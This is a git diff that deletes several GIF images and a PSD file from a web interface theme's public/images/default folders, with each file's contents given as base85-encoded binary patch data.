a/public/images/default/box/tb-blue.gif b/public/images/default/box/tb-blue.gif deleted file mode 100644 index 562fecca87176274af7bf13c419daaf93f169249..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 851 zcmZ?wbhEHbWMt4{XlGzpbnMHL<6oAa{JQeg*VSjft~>i}!})KUE_~a1@%#46-*;X4 zvFF;4eb;~7zJ2@P&7Vha|2%Q`=a~n;&OiEf>B+Ba&wkx{`TPEx-%p-AdGqGY@@87@w|Nk?Lg3%Bd$|0cmlLhGf{|q`H xPk{0S1BVKOBoBu|W0NBntB_a%g98I2m#~UU!-oTo%xv5uDh>q)92y%KtN|VsNKya* diff --git a/public/images/default/button/arrow.gif b/public/images/default/button/arrow.gif deleted file mode 100644 index 3ab4f71ac115188898fa2701b6b11561d0461e4d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 828 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 diff --git a/public/images/default/button/group-cs.gif b/public/images/default/button/group-cs.gif deleted file mode 100644 index 3d1dca8f05ca550917346830a5a0ae4e16665181..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2459 zcmeH`i9ZvH1HdQ!yk5P2p?H)dxpp{mJU@!;=?=U!!Pkq*zsjUC!6Bk-dSFVOt_!mB{_I3VoryMO9y{@Ma z=-n9DL$B{GJqcGoa`AW@KtUEXYxS9y%>dB{M#Mz_E@4eP*_kWX z^$4C>m(33o-~&JGx7SyMz30WrFL$>$RxxA>k0+M{zIVY>_Ns?Yre=MWTI_qhMP6lu~OPcC3oegZjRc3=(^V7L)w0*({)+2G{4{T;} z!o0jGzAzuE1S`!ys~+~X;Ic~gSFD>2s0i!s44Nr2{v9?`?2ia5C=Ng`%#;QugJvIl zX2534LY2Z0<&i8qVL7rJG?#U&KWwg2Z6tfHDp4JGvpPj7exmxGdU$C3eVxYnn$L!U z`PxTjbD?!bexlEHC5Xm_h{s6L!t<)w{UTi5CucPzxwui(_yinUcAMBO2QMa*XVGKC z=GlNC5?&-)q})%Ygw02%fDp? zVNB8KSM#G-X(81lbZQu7nT3hsnXV^A4@CVZF?NFV-}t){`7%2$Np8AIR-7-nvHOnQ^Yr z29ODG<^*{=utg%~TyB+{CHl7?LfQY-rAyiI?J<{dz1}#QCwUHfpd2o~hf|W=KB6QJ zu45SUAF!!>)JvC{YD)6?1&ZX1^D@s|{)cn`#dBJlpkU5!N_ZIg4~{NC(Uzy6x{{=1 zKe?rfYg@ITrV0~|@8ub{|BR&EQ|Ia^S=qK8j9Iy>vok3>3+xaUQ15r1*4vMH-k~NY zr<-xLf4OeU(HvTdwc$>QVsM?qQfg-Hww|)w(fE}flAPtt)lx0AZ85ZzM!P3YPuBpu zIz4GQX`B=4@`f%`F)25gdrYI#mTiHRMj`BlpN4SV3>xj>^#pw_p3!SNBqur_%-}Fb({3Vq!raSJOb>jsf$Mg_Ll=3M}zGh0*jv{cQuF zqmjT9Ni1sMYJk1%XufpWRdV7?$2CxI+916|kz;5kukQ^K6G~rle?6IYiE>rdD!AJo z!NKDDVl5bDbMZ#j3K=C~N*BvVzNyC%m1wm(h9_K{;$IbDeX@-l!VY^kdI9N8_1=jfHxh8T3_)wKnK|Kp zd#kHb=JVjpZkT2o*vDFxiHooYdyV1V)pyhI?)CaUwehdL_6Z^()SB zh=d#_`1@P3XpBUY8&RN-J+pLr$&4YwYPAf?9 zNv=0?zgF??W86>)p4GbSeVcF@FJrNNcTI26z+a}2%;xSja7^K`kr~TUVtBW8#)oO;GY8+ecXL81wkhso@Q7N{RGV36L4-Fn0@B=bZS$i$`@>*e=Y6L&Ng dUQu}td}@Irs8Us{==-D1xS|KJM_Czg`hV^ynJEAO diff --git a/public/images/default/button/group-lr.gif b/public/images/default/button/group-lr.gif deleted file mode 100644 index 7c549f96d6064d4b0cc022671fd823c13df36d8c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 861 zcmZ?wbhEHbe8J4f(9Xcn@V{aEiR+JFe`Od2qaiTzLO}5+3p2>qIv@g+Cm1-a7??R2 z95yUC*vuiU6?0<4!o%$X%3gCkHZD5aEn%E>=fuXv$NLqWyJS2!Ejc+^BY0KJ$xTbW LTbP(wSQxAUYf&Xs diff --git a/public/images/default/button/group-tb.gif b/public/images/default/button/group-tb.gif deleted file mode 100644 index adeb0a4cf54bdfb626ab6f3c070f6e2919f374c0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 846 zcmZ?wbhEHbWMt4`Y-eC-_}{So#PvfrK0JQ?m0=W&hQJ650mYvz%pfo8fCx~YVBpYZ yVCE5U*s$PWGl#HNOoc$h;dTLKuQ?tY7ai@EFwVMjV&mfD{R+-`G6D(;4Aua=h#nIF diff --git a/public/images/default/button/s-arrow-b-noline.gif b/public/images/default/button/s-arrow-b-noline.gif deleted file mode 100644 index a4220ee9066357ea2270a842ed244bbaadb23de4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 898 zcmZ?wbhEHbJi)-n(9Qq?M~)mhbnDyy|Np_fQDQU%Mo=fuXv$NLqWyJS2!Ejc+^BY0KJ z$xTa7Pd7+DHOF)FGT%0aqGx+fZdP}nYuC)RmLp-s#l;?zwPH_gS$TPRz~V9<4hCxg D_B%R6 diff --git a/public/images/default/button/s-arrow-b.gif b/public/images/default/button/s-arrow-b.gif deleted file mode 100644 index 84b64703006ca6d86d335b89f8d40b9fa3883c48..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 937 zcmZ?wbhEHbJi)-n(9Qq?M~)mhbnDyy|Np_fQDQU%Mo)`~r~W##4N0gJundTm{G tbu}Af#?`K^tFNzT+TJAVU8dErDdY00*wfqA-ripD_|#nQ={XJz)&S^DQ3wD4 diff --git a/public/images/default/button/s-arrow-bo.gif b/public/images/default/button/s-arrow-bo.gif deleted file mode 100644 index 548700bf45a4766e4633a2ad21cdd03a907e191c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 139 zcmZ?wbhEHbJi)-nu#f=+R-O3x{>OhHL-8jIBNqcRgAPa(B=5i!GpB#$>9_og=WMyv zz4@M01z+1Ek7>_3m%Tc*Z6(9;Pd?Yb^*;Y~?)yJ}o<}i97JcmS(V9N7;WKBi*YYc? qzIL6>+J0x<_w3ZJ<4-pI?D3myle6{rUd98@zwG+kS1-=MU=08a%|q${ diff --git a/public/images/default/button/s-arrow-noline.gif b/public/images/default/button/s-arrow-noline.gif deleted file mode 100644 index 0953eab5c875fcb0f3b40babd89052b064bf9fec..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 863 zcmZ?wbhEHb*_y R+_d!cbc5tmb0h^AtO41(Cb0kj diff --git a/public/images/default/button/s-arrow-o.gif b/public/images/default/button/s-arrow-o.gif deleted file mode 100644 index 89c70f36fa653684087485ab673043ecbf615cdd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 937 zcmZ?wbhEHbO`C@~rWBPawEf3h$$FfcLbfcy-~6AT<} z46G~?3JVq-Y-VLwiqV*$aJZREUaCi9W8%>kKJB0>J3c15x5sMVlHA(yGnuN7&N42);+}s>}e3|KPvE1;j`8SW1{tiuYV6X-NOpiu@ diff --git a/public/images/default/button/s-arrow.gif b/public/images/default/button/s-arrow.gif deleted file mode 100644 index 8940774785c25d4467b239aa608a9eee40e273d1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 937 zcmZ?wbhEHbkKJB0>J3c15x5sMVlHA(yGnuN7&N42);+}s>}e3|KPvE1;j`8SW1{tiuYV6X-Nh3iI; diff --git a/public/images/default/dd/drop-add.gif b/public/images/default/dd/drop-add.gif deleted file mode 100644 index b22cd1448efa13c47ad6d3b75bdea8b4031c31e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1001 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 diff --git a/public/images/default/form/clear-trigger.gif b/public/images/default/form/clear-trigger.gif deleted file mode 100644 index da78d45b3214480842c62514af524f4aebb66124..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1988 zcmdth=~t5n8U^q-VGC;mBm0hsV8ubLEt_Ll8<8_(J7+8+GN29vjM%!ALxG`*vV;KaE8sA!@Y z4L3~1jhLAW4>!Ua947Tqg?%((Kh;b$Ko$&=1w*rGb*ec?N^AxVXqe@UN>0 z891^{u56v7+E|jCmSrZke1FwUW#X##SBxOn2(GSyLZMKlQmNHyjYgx@YWd;~fq0Ft z+7v0*1j;R;!o*jZMDlHsa!;f+iM1w)YEP=(muf+oW=p08<(hqkW|zMX3O7KpZcnTO zrMf+lxo?0HvrSO0Hz^EedrHHu(zqvI1C{Hb+PJIP0JWQ-Y#UT;feI6-)9Lhjy}@8G z8jZTOUH$s*&hGy1-ahdEdx6`Q=5Zi!^uxptKLNl%;1tXUNoYe@!v1h1gG9hjRlyIY zT+i)opRVyJ$m^OWcFfcd!goE+KKq624@2~*{(Gx41$X#rT_Vu?_+4{kc3!~LZ@o|e@KE%NaSqqM2CdnRrfg1wYE_n>MZsu=aYxhs@ zZYg1(SHAI5{)vrY3S>+Sr2G5!}cb)=Lak{l#IcWFsP=h z54sOE<$IwK0i|U>!mQGuh`69u9r$a%T`NxXx|!$| z=ac7y%X=&#XG<+_jk=4wnhTGFb+y-lKaBeiK%tbtM}APdfB|~CqPsh#af)y^(trRQ zEp@1acO7D$So@a(lTLRcQP%+{D$xQ)D?;t7^o`EZs~jG0R~!KcEY9V= zMfruL`9PuG*Qsdx+dj=Ii`&E0II=PwOPulj+Tj@q29JB~T2{m(hfi&|!E zBM$OTv98=N_;e}11gu55UTB%9W)-L))9jWO$gpd{tFfCL@43sLIsT;NS-D3u+AQ2N zWr!%TS6ADl-D$@0q>qlSMI`y2eiHE9u3$58=)j+XZx;IBIT;=;f85a*t?a9*L%6-} zN85P+E0<{PUGyX_R!^ME+)_z>Mape4XM92w`b7;YV!insg9^+qDfzUevNmaJNM0}502MlVmsU>iV}`Lr`6`Bb{t@C#l~>;SXe`ck9;fs%svkL zUAe$-+haTd`enn-;A=LHa#CU?4rl5R1@d8MkEOU&)s-HE(zl)`8NRsxz3AFuDKdp$ U;ezY9-WkTkP-6N%4gg~Q2Qp;nKmY&$ diff --git a/public/images/default/form/clear-trigger.psd b/public/images/default/form/clear-trigger.psd deleted file mode 100644 index f637fa5d1e12460beabc8b49968ebc0ac883e754..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11804 zcmds6349aP)}JgbA;Ocbf>0GuzzQfJ2%?B00)>YNvUCxIvIz*tj;%n8sK7&Q0D1CQ zltrLGX$urmTA(P<7APcb>E5(W(lkk%eQ6sqbH8&Z({?6l6~E8l?|bhhzmt2G|2b#w z%)MuF?;SDbgAWNF;rR%l=?1ij5D}P%Pn#Gda2|Dsn39*gv69|L?fuB$)^z-xcZ_{4X20k60XxFxV=MG&uck0loQ$W{epAL8` z@TpFnxc9s0xL3xsevqPF5EIuLxGK)@FY{NO49xe089u%ln6UW4E9?>u#0o8GIs42h8( z5j{U9=|;dbx%q`xBUW#1D}JhLx2L=J>D%wcpqGXYdu{lL*GIlP_PufACj?LYaQcjy zvqD0{<}X;dXz?dYmabX5ZvBRhpGSVV?W?c9*}h}v?mc^d*!RyL_y6nYvE#p-IC(1W z^!W=HlP_JCrd;{;x0|R9vZ4sjD>ATAkivwb>ocy7~qej}Ume z1HV4~f!ojH3xxt<8{8ire*=)9qtLI{VE<0
    o7Rp;JAVnkiWNRA}kX#4!D)64-8 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 